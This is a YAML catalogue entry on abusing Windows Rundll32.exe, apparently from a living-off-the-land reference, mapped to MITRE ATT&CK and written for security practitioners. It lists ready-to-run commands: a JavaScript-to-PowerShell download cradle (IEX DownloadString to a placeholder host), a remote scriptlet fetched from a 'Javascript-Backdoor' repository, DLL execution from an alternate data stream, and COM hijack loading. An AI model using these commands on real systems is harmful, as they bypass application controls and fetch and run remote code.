---
Name: Rundll32.exe
Description: Used by Windows to execute dll files
Author: 'Oddvar Moe'
Created: '2018-05-25'
Commands:
  - Command: rundll32.exe AllTheThingsx64,EntryPoint
    Description: AllTheThingsx64 would be a .DLL file and EntryPoint would be the name of the entry point in the .DLL file to execute.
    Usecase: Execute dll file
    Category: Execute
    Privileges: User
    MitreID: T1085
    MitreLink: https://attack.mitre.org/wiki/Technique/T1085
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  - Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
    Description: Use Rundll32.exe to execute a JavaScript script that runs a PowerShell script that is downloaded from a remote web site.
    Usecase: Execute code from Internet
    Category: Execute
    Privileges: User
    MitreID: T1085
    MitreLink: https://attack.mitre.org/wiki/Technique/T1085
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  - Command: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
    Description: Use Rundll32.exe to execute a JavaScript script that runs calc.exe.
    Usecase: Proxy execution
    Category: Execute
    Privileges: User
    MitreID: T1085
    MitreLink: https://attack.mitre.org/wiki/Technique/T1085
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  - Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
    Description: Use Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started.
    Usecase: Proxy execution
    Category: Execute
    Privileges: User
    MitreID: T1085
    MitreLink: https://attack.mitre.org/wiki/Technique/T1085
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  - Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
    Description: Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.
    Usecase: Execute code from Internet
    Category: Execute
    Privileges: User
    MitreID: T1085
    MitreLink: https://attack.mitre.org/wiki/Technique/T1085
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  - Command: rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain
    Description: Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).
    Usecase: Execute code from alternate data stream
    Category: Alternate data streams
    Privileges: User
    MitreID: T1096
    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  - Command: rundll32.exe -sta {CLSID}
    Description: Use Rundll32.exe to load a registered or hijacked COM Server payload.  Also works with ProgID.
    Usecase: Execute a DLL/EXE COM server payload or ScriptletURL code.
    Category: Execute
    Privileges: User
    MitreID: 
    MitreLink: 
    OperatingSystem: Windows 10 (and likely previous versions)
Full Path:
  - Path: C:\Windows\System32\rundll32.exe
  - Path: C:\Windows\SysWOW64\rundll32.exe
Code Sample: 
- Code:
Detection:
 - IOC:
Resources:
  - Link: https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/
  - Link: https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7
  - Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
  - Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
  - Link: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
Acknowledgement:
  - Person: Casey Smith
    Handle: '@subtee'
  - Person: Oddvar Moe
    Handle: '@oddvarmoe'
  - Person: Jimmy
    Handle: '@bohops'
---